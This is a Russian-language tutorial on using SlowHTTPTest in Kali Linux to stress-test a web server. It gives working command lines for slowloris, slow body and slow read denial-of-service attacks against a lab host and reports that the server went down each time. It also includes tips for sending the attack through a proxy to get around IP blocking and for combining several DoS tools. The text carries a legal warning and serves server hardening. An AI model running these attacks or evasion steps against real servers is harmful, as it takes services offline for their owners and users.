Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте

Стресс-тесты сети могут дать важные данные о проблемах, связанных с производительностью сервера, о неправильной (недостаточной) его настройке. Даже чтобы проверить, правильно ли настроен и работает mod_evasive пригодятся утилиты для имитации DoS атак.

Связанные статьи по защите веб-сервера:

Связанные статьи по DoS:

SlowHTTPTest — это имеющий множество настроек инструмент, симулирующие некоторые атаки отказа в обслуживании (DoS) уровня приложения. Он работает на большинстве платформ Linux, OSX и Cygwin (Unix-подобное окружение и интерфейс командной строки для Microsoft Windows).

Эта программа реализует наиболее общие замедляющие работу сети DoS атаки уровня приложений, такие как Slowloris, атака slow body, атака Slow Read (на основе эксплойта постоянного таймера TCP), она занимает весь доступный пул подключений, а также атака Apache Range Header, которая становится причиной очень значительного использования памяти и центрального процессора на сервере.

Slowloris и Slow HTTP POST DoS атаки полагаются на факт, что HTTP, намеренно, требует от запросов быть полученными сервером полностью до того, как они будут обработаны. Если запрос HTTP неполон или скорость его пересылки очень медленная, сервер сохраняет своио ресурсы занятыми, ожидая оставшихся данных. Если сервер поддерживает слишком много занятых ресурсов, то это влечёт отказ в обслуживании. Этот инструмент отправляет частичные запросы HTTP, пытаясь добиться отказа в обслуживании от целевого HTTP сервера.

Атака Slow Read нацелена на те же ресурсы, что и slowloris со slow body, но вместно продлевания запроса, она отправляет легитимные HTTP запросы, но ответы читает медленно.

Установка SlowHTTPTest

Установка для пользователей Kali Linux

Для пользователей Kali Linux установка через apt-get .. (жизнь хороша!)

apt-get install slowhttptest

201

Для других дистрибутивов Linux

Инструмент распространяется как портативный пакет, т. е. просто загрузите последний тарбол из секции загрузки, извлеките, настройте, скомпилируйте и установите.

Этот набор команд делает следующее: скачивает самую последнюю версию SlowHTTPTest, распаковывает её и переходим в каталог с программой:

(t=`curl -s https://github.com/shekyan/slowhttptest | grep -E -o '//slowhttptest.googlecode.com/files/slowhttptest(.)*.tar.gz" onclick="' | sed 's/////' | sed 's/" onclick="//' | head -1`; curl -s $t -o slowhttptest-last.tar.gz) && tar -xzvf slowhttptest-last.tar.gz && cd slowhttptest-*

Т.е. теперь только остаётся выполнить конфигурацию, компиляцию и установку.

Для тех, кто предпочитает скачать архив вручную, переходите сюда.

$ tar -xzvf slowhttptest-x.x.tar.gz
$ cd slowhttptest-x.x
$ ./configure --prefix=PREFIX
$ make
$ sudo make install

Здесь PREFIX должен быть заменён на абсолютный путь, где инструмент slowhttptest должен быть установлен.

У вас должна быть установлена libssl-dev для успешной компиляции этого инструмента. Большинство систем должны иметь его.

Mac OS X

Используем Homebrew:

brew update && brew install slowhttptest

Linux

Попробуйте ваш любимый пакетный менеджер, некоторые из них знают о slowhttptest (как Kali Linux).

Использование SlowHTTPTest

slowhttptest это потрясающий инструмент, который позволяет делать многие вещи. Далее только несколько примеров использования.

Пример использования в режиме slow body a.k.a R-U-Dead-Yet, результаты только выводятся на экран

slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php -x 10 -p 3

Тоже самое, но график сохраняется в файл

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php -x 10 -p 3

Test results against http://192.168.1.37/info.phpClosedPendingConnectedServiceavailable 0369121518212427300200400600800SecondsConnections

А это тесты памяти, которые я проводил с интервалами в несколько секунд на сервере, который подвергался атаке. Первый замер сделан до атаки, последующие — во время. Видно, что количество свободной памяти уменьшалось очень стремительно вплоть до того момента, пока сервер не лёг.

01

Пример использования в режиме slow headers a.k.a. Slowloris

slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://192.168.1.37/info.php -x 24 -p 3

Тоже самое, но график сохраняется в файл

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://192.168.1.37/info.php -x 24 -p 3

Всё очень похоже: сервер лёг и больше не поднимался:

21

22

Пример использования в режиме Slow Read через прокси.

Здесь x.x.x.x:8080 — это прокси, который используется для доступа к веб-сайту с IP отличного от вашего:

slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://192.168.1.37/info.php -p 5 -l 350 -e x.x.x.x:8080

Сервер в нокауте:

31

32

Вывод по SlowHTTPTest

В зависимости от выбранного уровня детальности, вывод может быть как простым в виде генерируемых каждый 5 секунд сообщений, показывающих статус соединений (это при уровне 1), так и полным дампом трафика (при уровне детальности 4).

-g опция означает создание файла CSV, а также интерактивного HTML, основанного на инструментах Google Chart.

Приведённые выше скриншоты показывают состояние соединений и доступность сервера на различных этапах времени, а также дают общую картину поведения конкретного сервера под конкретной нагрузкой во время заданного временного интервала.

Файл CSV может быть полезен в качестве источника для вашего любимого инструмента по работе с данными, среди них могут быть MS Excel, iWork Numbers или Google Docs.

Последнее сообщение, которые выводит программа при закрытии, этот статус завершения, они могут быть следующими:

  • “Hit test time limit” программа достигла лимита времени, заданного аргументом -l
  • “No open connections left” пир закрыл все соединения
  • “Cannot establish connection” не было установлено соединений за время N секунд теста, где N или величина аргумента -i, или 10 (значение по умолчанию). Это может случиться если нет маршрута к удалённому хосту или пир лёг.
  • “Connection refused” удалённый сервер не принимает соединения (может быть только от тебя? Попробуйте использовать прокси) на определённом порту
  • “Cancelled by user” вы нажали Ctrl-C или отправили SIGINT каким-либо другим образом
  • “Unexpected error” не должно никогда случаться.

Примеры вывода реальных тестов SlowHTTPTest

Примеры уже даны чуть выше, давайте сделаем ещё один. Как и в предыдущие разы у меня доступ к атакующей и атакуемой машинам, поэтому есть возможность выполнить замеры на обоих. В этот раз посчитаем количество соединений.

Со стороны атакующего

Итак, я собрал статистику для атаки на http://192.168.1.37 с 1000 соединениями.

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php -x 10 -p 3

41

Со стороны сервера-жертвы

root@WebWare-Debian:~# netstat | grep http | wc -l
111

42

Показатели не получается снять во время проведения атаки, т. к. по SSH сервер также перестаёт отвечать. Общее число http соединений подпрыгнуло до 111 в первые 10 секунд.

Этого более чем достаточно чтобы положить сервер (это могут быть большинство маленьких серверов или VPS).

Рекомендации по тестированию DoS

  • DoS атака чужих серверов без разрешения, особенно успешная, является преступлением, в том числе в РФ
  • При атаке на локалхост (особенно на маломощных и виртуальных машинах), тормоза сервера могут быть связаны не с DoS атакой, а с тем, что сама программа SlowHTTPTest заняла все ресурсы и сама по себе тормозит компьютер.
  • Если при атаке на удалённый хост программа пишет вам, что он недоступен, а при попытке открыть страницу веб-сайта в браузере действительно ничего не открывается, то не спешите радоваться. Вполне возможно, сто сработала защита от DoS атаки и ваш IP (временно) заблокирован. Для всех остальных сайт прекрасно открывается. Можете убедиться в этом сами, используя любой анонимайзер или прокси или подключившись через другого Интернет-провайдера.

Заключение

Это можно делать с Windows, Linux и даже с Mac. Если вы запустите несколько DoS инструментов, таких как GoldenEye, hping3 на один веб-сервер, то тогда его будет очень просто выбить. Общие советы по защите от DoS будут в следующей статье (да, следующая статья опять про стресс-тест сети). А о правильной настройке сервера, в том числе о модуле, защищающим именно от слоу-атак, будет рассказано в ближайшее время. Следите за обновлениями на codeby.net!
Если вам понравилась статья, пожалуйста, делитесь ей в социальных сетях. Спасибо за чтение.

2 комментария

  1. За что твечает колонка closed:              у меня ддоспроходит потом начинается  закрытие подключение и сервер снова доступен

Оставить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *